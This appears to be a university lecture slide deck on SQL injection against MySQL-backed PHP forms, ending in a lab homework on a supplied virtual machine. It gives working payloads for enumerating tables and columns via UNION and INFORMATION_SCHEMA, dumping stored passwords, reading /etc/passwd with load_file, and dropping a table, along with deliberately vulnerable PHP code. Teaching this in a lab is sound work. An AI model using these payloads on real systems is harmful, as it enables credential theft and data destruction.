Attacks on Web Based MySQL Databases

Chris Neilson

March 2, 2011

Basic SQL query

```
SELECT target-list
FROM relation-list
WHERE qualification
```

target-list	A list of attributes of relations in *relation-list*
relation-list	A list of relation names
qualification	Comparisons ($<$, $>$, $=$, $\leq$, $\geq$, $\neq$, `AND`, `OR`, `NOT`, etc)

Sample SQL queries

```
SELECT S.sname
FROM Sailors S, Reserves R
WHERE S.sid = R.sid AND R.bid = 103;

INSERT INTO Sailors (sid, name)
VALUES (1234, chris);

DELETE FROM Sailors
WHERE name LIKE '%Bob%';

DROP TABLE Sailors;
```

Unions

- A UNION can be used to compute the union of any two *union-compatible* sets
- Think of a UNION like an OR

```
SELECT S.sid
FROM Sailors S, Boats B, Reserves R
WHERE S.sid=R.sid AND R.bid=B.bid
   AND (B.color='red' OR B.color='green');
```

```
SELECT S.sid
FROM Sailors S, Boats B, Reserves R
WHERE S.sid=R.sid AND R.bid= B.bid AND B.color='red'
UNION
SELECT S.sid
FROM Sailors S, Boats B, Reserves R
WHERE S.sid=R.sid AND R.bid=B.bid AND B.color='green'
```

Quick intro to PHP: HTML

- index.html

```
<html>
<form action='injection.php' method='post'>
<input type='text' name='email'><br>
<input type='submit' name='forgotPw' value='Submit'>
</html>
```

- When pushing submit the information is “posted” to the php script on the server.

Quick intro to PHP: PHP

- injection.php

```
<?
$EMAIL=$POST['email'];
mysql_connect('localhost','username','pass');

if ($_POST['forgotPw']){
  $query = ' SELECT *
             FROM table_name
             WHERE name = ' . $EMAIL . ';';
  $result = mysql_query($query);
  ...
}
mysql_close();
?>
```

Quick intro to PHP: Webpage displayed

- PHP queries the database
- Parses what is returned from the query
- Formats information for the user
- Presents the information to the user
- This is a common point of attack for a malicious user
- One mistake or overlooked detail in the entire implementation can allow for the server to be compromised

Background knowledge and intent

- Attacker has no knowledge of back end applications, source code, security implementations
- Traditional login page with forms for user name and password or a field to email your forgotten password
- Discover information about the underlying database, server and user information.

What first?

- With knowledge of SQL the attacker can guess that the underlying SQL code looks something like:

```
SELECT fieldlist
FROM table
WHERE field = '$EMAIL';
```

- `$EMAIL` is the variable that the user inputs into the form, expected to be an innocent email address

Step 1: Input sanitizing check

- The web application may construct the SQL string literally
- We can check to see if input is sanitized by adding an extra single quote.

```
SELECT fieldlist
FROM table
WHERE field = 'chris@home.com'';
```

- SQL parser finds the extra quote and aborts due to a syntax error
- This error response usually means input sanitization is not being done or is being done incorrectly
- Exploitation should be possible
- Demo

Step 2: Exploit WHERE clause

- See what information we can find out about the database
- Enter legal SQL code and see what happens

```
SELECT fieldlist
FROM table
WHERE field = 'anything' OR 'x'='x';
```

- `'x'='x'` is *guaranteed* to be true no matter what, our query should succeed.
- Observer what happens when the query is executed
- Demo
- Most likely this is the first record returned

What does the attacker know?

- Can manipulate the query other than how it was intended
- Observed two responses
  - Error
  - Success
- These two responses will be important in future queries

Step 3: Guessing field names

- What did the database creator name the different fields?
- Guess common names such as *email*, *first_name*, *passwd*

```
SELECT fieldlist
FROM table
WHERE field = 'x' AND email IS NULL; -- ';
```

- The -- is a SQL comment so the closing quote and semicolon will be ignored
- Demo
- If output is an error message, then it is likely `email` is not a field name
- If output is a success message, it is likely to be a field name
- Continue guessing field names

Step 4: Guessing table name

- After step 3 the attacker knows the fieldnames to be *email, passwd, login_id, full_name*
- There are also several approaches to this, we examine one in particular here and one later

```
SELECT email, passwd, login_id, full_name
FROM table
WHERE email = 'x' AND 1=(SELECT COUNT(*)
                                    FROM tabname); -- ';
```

- Where *tabname* is the guess at what a table name is
- We do not care how many records, only if the name is valid
- Demo

Step 5: Verifying table name

- After step 4 the attacker knows the table name to be *members*
- It is a valid table name, but is it the table used in this query?

```
SELECT email, passwd, login_id, full_name
FROM table
WHERE email = 'x' AND members.email IS NULL; -- ';
```

- Demo

Where to go from here?

- An attacker could guess at login credentials
- The database may not be read only
    - Could drop (delete) the table

      ```
      x'; DROP TABLE members; --
      ```

    - Could insert own members
- Issues: MySQL does not allow for more than one query at a time
- Solution: Union poisoning

Union poisoning: What first?

- A `UNION` will allow us to add another query to the original which gives a work around to MySQL limiting the amount of queries.
- As we know, `UNION` queries must return the same number of arguments.
- If we had not figured it out from earlier steps it is pretty trivial
- Attempt with different numbers of arguments

```
SELECT fieldlist
FROM table
WHERE field = 'x' UNION SELECT 1,2,3,4; -- ';
```

- Demo

Union poisoning: Can we get the table name?

- Yes!
- MySQL keeps databases of its databases
- Need to walk through them one by one, we can use LIMIT

```
SELECT fieldlist
FROM table
WHERE field = 'x' UNION SELECT table_name,2,3,4
                  FROM INFORMATION_SCHEMA.TABLES
                  LIMIT 0,1; -- ';
```

- Now we can step through by increasing the 0 in LIMIT
- When we get to lowercase names, usually means a user created table
- Demo

Union poisoning: Finding column names

- Yes, more iterating through `INFORMATION_SCHEMA`, in specific the `COLUMNS` table
- Now we know the table name, we can use this to narrow our queries down to only the information we are interested in

```
SELECT fieldlist
FROM table
WHERE field = 'x' UNION SELECT column_name,2,3,4
                  FROM INFORMATION_SCHEMA.COLUMNS
                  WHERE table_name = 'members'
                  LIMIT 0,1; -- ';
```

- Now we can incremnt through to figure out all column names

Union poisoning: Finding column names faster!

- MySQL has defined functions that can help us speed up this process: `group_concat()`

```
SELECT fieldlist
FROM table
WHERE field = 'x'
  UNION SELECT group_concat(column_name),2,3,4
  FROM INFORMATION_SCHEMA.COLUMNS
  WHERE table_name = 'members'
  LIMIT 0,10; -- ';
```

Union poisoning: Login credentials

- Union poisoning maybe able to get us login credentials without having to guess or brute force a users password

```
SELECT email, passwd, login_id, full_name
FROM members
WHERE email = 'x' UNION SELECT login_id,2,3,4
                  FROM members; -- ';

SELECT email, passwd, login_id, full_name
FROM members
WHERE email = 'x' UNION SELECT passwd,2,3,4
                  FROM members; -- ';
```

Is there anything more malicious we can do?

- Another included MySQL command, `load_file()`, how dangerous could that be?
- This function can be used to extract and view files on the server file system
- We need to encode the ascii as hexidecimal because of quote filtration by the function. Easily done using `xxd` or `hexdump`
- Lets try to view `/etc/passwd`

```
SELECT email, passwd, login_id, full_name
FROM members
WHERE email = 'x' UNION SELECT
  load_file(0x2f6574632f706173737764),
  2,3,4; -- ';
```

Homework Assignment

You will be supplied with a virtual machine image much like this one. You need to investigate a database through a web form like seen in this presentation. You will be turning in a writeup that answers the following questions. You may need to do some research on your own to come up with the best answers. There will be more details in the writeup.

1. What is the name of the table?
2. What are the names of the columns?
3. What is an entire entry in the table?
4. Can you find more sensitive files than `/etc/passwd`?
5. What can be done to prevent SQL injection?
6. What could have been done to better protect user passwords?

You will have root access to this machine, which means you could find this information out in ways not through exploitation. In your writeup you **must** demonstrate that you have found the information through SQL injection exploits.

Conclusion

- SQL databases are used everywhere on the internet
- If the public interfaces to the databases are insecure, the entire database is insecure and possibly the server!
- Very important to follow proper procedures for designing and implementing databases
- Test attacks against your own implementations

References

- Web Applications Security: SQL Injection Attack
  - http://class.ece.iastate.edu/kothari/cpre556/Lectures/W4/Lecture%207-SQL%20Injection%20Security%20Vulnerability-January31.pdf
- Understanding MySQL Union Poisoning
  - http://www.grayscale-research.org/new/pdfs/SQLInjectionPresentation.pdf
- Course slides, Comp3421: Introduction to Database Management Systems
  - http://web.cs.du.edu/~ymayster/comp3421/slides/COMP3421Lectures8-10.pdf